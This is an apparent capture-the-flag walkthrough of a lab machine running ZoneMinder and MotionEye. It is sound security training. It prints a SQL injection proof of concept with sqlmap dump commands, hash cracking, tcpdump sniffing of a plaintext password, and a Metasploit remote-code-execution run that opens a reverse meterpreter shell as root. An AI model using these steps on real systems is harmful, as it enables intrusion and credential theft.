1 RECON
1.1 Port Scan
nmap -A $targetIpResult:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel1.2 Web Application
A monitoring web cam application:

This kind of target often points to cron jobs, traffic capture, and data leaks during exploitation.
Click "Staff Login" to enter the ZoneMinder login page:

ZoneMinder has a long track record of RCE, auth bypass, and file-write bugs.
2 WEB
2.1 ZoneMinder
ZoneMinder is an open-source video surveillance platform designed for Linux systems. It turns a server into a central CCTV management system capable of controlling cameras, recording video, detecting motion, and managing events through a web interface.
Runs on:
- Apache
- PHP
- MySQL / MariaDB
2.1.1 Default Credentials
The login page suggests authentication. Probe with default credentials admin / admin:

Login works. The app reveals version v1.37.63, so we can pin the source tag on Github: https://github.com/ZoneMinder/zoneminder/tree/1.37.63
2.1.2 CVE-2024-51482
With a clear fingerprint, we search public exploits. CVE-2024-51482 matches this version.
ZoneMinder AJAX requests are routed through:
/zm/index.php?view=request&request=eventThis request appears periodically:

Which internally loads:
web/ajax/event.phpThe vulnerable code path triggers when the request includes:
action=removetagThis is the case in web/ajax/event.php at line 217:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery(
'DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?',
array($tagId, $_REQUEST['id'])
);
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}The critical issue is the second query.
User input controls tid, which is assigned to $tagId:
$tagId = $_REQUEST['tid'];No sanitization. No casting. No escaping.
First query (safe):
DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?This uses parameterized placeholders, so the first query is not vulnerable.
But look at the second query (vulnerable):
SELECT * FROM Events_Tags WHERE TagId = $tagIdNow user input is directly concatenated into SQL.
The patch simply switches to a prepared query:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId);This prevents user input from being parsed as SQL. (GitHub)
PoC:
http://hostname_or_ip/zm/index.php?view=request&request=event&action=removetag&tid=1Replace with the target hostname:

2.1.3 SQL Injection
Send the PoC request through Burp and save it as req.txt:
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: cctv.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=67s94t6jmii9b16kkvjtkcogup
Connection: keep-alive
Run sqlmap with minimal probing to enumerate databases:
sqlmap -r req.txt \
--batch \
-p "tid" \
--dbsTime-based injection works:
[19:21:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [19:21:30] [INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [19:21:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [19:21:30] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [19:21:49] [INFO] target URL appears to be UNION injectable with 4 columns you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [19:22:14] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') [19:22:14] [INFO] checking if the injection point on GET parameter 'tid' is a false positive GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 110 HTTP(s) requests: --- Parameter: tid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 7784 FROM (SELECT(SLEEP(5)))QtFt) --- [19:22:41] [INFO] the back-end DBMS is MySQL [19:22:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web server operating system: Linux Ubuntu web application technology: Apache 2.4.58 back-end DBMS: MySQL >= 5.0.12
Time-based SQLi is slow, so we tune sqlmap for faster extraction.
In the 1.37.63 tree, the schema file is db/zm_create.sql.in:
CREATE TABLE `Users` (
`Id` int(10) unsigned NOT NULL auto_increment,
`Username` varchar(64) character set latin1 collate latin1_bin NOT NULL default '',
`Password` varchar(64) NOT NULL default '',
...
)Our targets are:
- table:
Users - columns:
Username,Password
Final command to dump user credentials:
sqlmap -r req.txt \
-p "tid" \
--batch \
--technique=T \
--predict-output \
-D zm \
-T Users \
-C Username,Password \
--dumpResult:
__H__ ___ ___[)]_____ ___ ___ {1.10.2#pip} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal law s. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:23:47 /2026-03-07/ [20:23:47] [INFO] parsing HTTP request from 'req.txt' [20:23:47] [INFO] resuming back-end DBMS 'mysql' [20:23:47] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: tid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 1137 FROM (SELECT(SLEEP(5)))RzbA) --- [20:23:48] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.58 back-end DBMS: MySQL >= 5.0.12 [20:23:48] [INFO] fetching entries of column(s) 'Password,Username' for table 'Users' in database 'zm' [20:23:48] [INFO] fetching number of column(s) 'Password,Username' entries for table 'Users' in database 'zm' [20:23:48] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [20:24:19] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [20:24:31] [INFO] adjusting time delay to 4 seconds due to good response times 3 [20:24:36] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm [20:44:33] [INFO] retrieved: superadmin [20:47:20] [INFO] retrieved: $2y you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y $10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. [21:07:31] [INFO] retrieved: mark [21:08:36] [INFO] retrieved: $2y$10$t5z8
2.2 Hash Cracking
While the dump runs, we test the hashes and find Mark's is crackable with rockyou. Run hashcat in mode 3200:
hashcat -m 3200 hashes.txt path/to/rockyou.txtJackpot:
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZ...XKfFG.Use it to log in over SSH:
$ ssh [email protected] [email protected]'s password: Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64) mark@cctv:~$ id uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev) mark@cctv:~$ ls -a /home/mark . .. .bash_history .bash_logout .bashrc .cache .gnupg .profile .ssh .wget-hsts mark@cctv:~$ ls -a /home/ . .. mark sa_mark
No user flag yet. The next target appears to be sa_mark, a service account tied to mark.
3 USER
3.1 Enumeration
Running LinPEAS shows an immediate red flag:

Capability cap_net_raw:
/usr/bin/tcpdump cap_net_raw=eipThis allows packet capture without root, so we can sniff local network traffic.
LinPEAS also reveals a readable log:
╔══════════╣ Backup folders
drwxr-xr-x 2 root root 4096 Mar 8 05:25 /opt/video/backups
total 4
-rw-r--r-- 1 1005 1005 3714 Mar 8 05:29 server.log
╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rw-r--r-- 1 1005 1005 3714 Mar 8 05:29 /opt/video/backups/server.logThe log reads:
Authorization as sa_mark successful. Command issued: status. Outcome: success. 2026-03-08 05:14:02
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-08 05:14:40
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. 2026-03-08 05:15:16
[...snip...]- A service executes commands
- Authentication happens repeatedly
3.2 Sniffing
There is a local service authenticating as sa_mark, which means we can sniff the credential or token it uses.
ip a reveals the network layout:
mark@cctv:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host noprefixroute valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:50:56:b0:20:0d brd ff:ff:ff:ff:ff:ff altname enp3s0 altname ens160 inet 10.129.9.121/16 brd 10.129.255.255 scope global dynamic eth0 valid_lft 3246sec preferred_lft 3246sec inet6 dead:beef::250:56ff:feb0:200d/64 scope global dynamic mngtmpaddr valid_lft 86400sec preferred_lft 14400sec inet6 fe80::250:56ff:feb0:200d/64 scope link valid_lft forever preferred_lft forever 3: br-1b6b4b93c636: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 76:2b:0e:7d:35:59 brd ff:ff:ff:ff:ff:ff inet 172.25.0.1/16 brd 172.25.255.255 scope global br-1b6b4b93c636 valid_lft forever preferred_lft forever inet6 fe80::742b:eff:fe7d:3559/64 scope link valid_lft forever preferred_lft forever 4: br-3e74116c4022: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 56:8a:65:38:26:59 brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-3e74116c4022 valid_lft forever preferred_lft forever inet6 fe80::548a:65ff:fe38:2659/64 scope link valid_lft forever preferred_lft forever 5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether aa:aa:9f:0b:84:db brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 6: vethf64c125@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default link/ether 56:33:10:78:0f:13 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::5433:10ff:fe78:f13/64 scope link valid_lft forever preferred_lft forever 8: veth1a856e6@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-1b6b4b93c636 state UP group default link/ether 06:03:c6:f1:6f:f5 brd ff:ff:ff:ff:ff:ff link-netnsid 2 inet6 fe80::60ec:bcff:fe97:c3e8/64 scope link valid_lft forever preferred_lft forever 9: vethfa85bee@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default link/ether 6a:84:71:d4:3b:41 brd ff:ff:ff:ff:ff:ff link-netnsid 3 inet6 fe80::384a:5cff:feeb:6b10/64 scope link valid_lft forever preferred_lft forever 11: vethffd3acb@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-3e74116c4022 state UP group default link/ether 9e:3d:a2:25:53:55 brd ff:ff:ff:ff:ff:ff link-netnsid 1 inet6 fe80::9c3d:a2ff:fe25:5355/64 scope link valid_lft forever preferred_lft forever
Docker bridge networks:
br-* interfaces
veth interfacesThis suggests the CCTV stack uses containerized services communicating internally.
Capture all traffic first:
tcpdump -i any -nnPort 5000 on 172.25.0.10 is hit frequently and appears to host a Python Flask service:

Then filter traffic on port 5000:
tcpdump -i any -nn -A tcp port 5000Jackpot:
mark@cctv:~$ tcpdump -i any -nn -A tcp port 5000 [...snip...] 06:14:36.896357 veth1a856e6 P IP 172.25.0.11.44992 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 574671639 ecr 51593900], length 51 E..g.u@.@.......... ......y.E..>....X...... "@....B.USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status 06:14:36.896359 vethf64c125 Out IP 172.25.0.11.44992 > 172.25.0.10.5000: Flags [P.], seq 1:52, ack 1, win 502, options [nop,nop,TS val 574671639 ecr 51593900], length 51 E..g.u@.@.......... ......y.E..>....X...... "@....B.USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status [...snip...]
Switch to sa_mark with the captured password:
mark@cctv:~$ su - sa_mark Password: $ id uid=1001(sa_mark) gid=1001(sa_mark) groups=1001(sa_mark) $ ls -a . .. .bash_history .cache .local 'SecureVision Staff Announcement.pdf' user.txt $ cat use* b****************************4
User flag secured.
4 ROOT
4.1 Password Reuse
In sa_mark's home directory, we find a PDF notice. Download it:
scp [email protected]:/home/sa_mark/'SecureVision Staff Announcement.pdf' .
The staff announcement says:
Staff logins will remain the same.
This hints at credential reuse from the old platform to the current CCTV stack.
4.2 MotionEye
From previous LinPEAS output, localhost port 8765 is open. Forward it:
ssh -L 8765:127.0.0.1:8765 [email protected]It exposes the MotionEye CCTV management app, and the hint suggests we can reuse the sa_mark password:
admin / X1l9fx1ZjS7RZb
See version 0.43.1b4:

Also recall our earlier capture:
USERNAME=sa_mark
PASSWORD=X1l9fx1ZjS7RZb
CMD=statusBeyond credentials, this also reveals how the internal CCTV service works:
Commands executed through CMD parameter
This strongly suggests an RCE path.
4.3 CVE-2025-60787
4.3.1 Vulnerability Analysis
Searching CVEs shows this MotionEye version is affected by CVE-2025-60787.
MotionEye lets admins configure camera settings through the web UI. Relevant fields include:
- image_file_name
- movie_filename
These values are written directly into Motion configuration files without sanitization.
For example:
image_file_name %Y-%m-%d_%H-%M-%SThe bug is:
user input -> written to config -> later executed by motionBecause the values are not sanitized, shell metacharacters can be injected.
4.3.2 Exploit
Metasploit introduces an exploit module on this CVE:
exploit/linux/http/motioneye_auth_rce_cve_2025_60787Use this module with the following options:
set RHOSTS 127.0.0.1
set RPORT 8765
set PASSWORD X1l9fx1ZjS7RZb
set LHOST tun0
runExecution:
$ msfconsole -q [*] Starting persistent handler(s)... msf > use exploit/linux/http/motioneye_auth_rce_cve_2025_60787 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set RPORT 8765 RPORT => 8765 msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set PASSWORD X1l9fx1ZjS7RZb PASSWORD => X1l9fx1ZjS7RZb msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > set LHOST tun0 LHOST => tun0 msf exploit(linux/http/motioneye_auth_rce_cve_2025_60787) > run [*] Started reverse TCP handler on 10.10.13.68:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Detected version 0.43.1b4, which is vulnerable [*] Adding malicious camera... [+] Camera successfully added [*] Setting up exploit... [+] Exploit setup complete [*] Triggering exploit... [+] Exploit triggered, waiting for session... [*] Sending stage (3090404 bytes) to 10.129.9.121 [*] Meterpreter session 1 opened (10.10.13.68:4444 -> 10.129.9.121:53144) at 2026-03-07 23:13:21 -0800 [*] Removing camera [+] Camera removed successfully meterpreter > getuid Server username: root meterpreter > cat /root/root.txt a*****************************b
Rooted.
Comments | NOTHING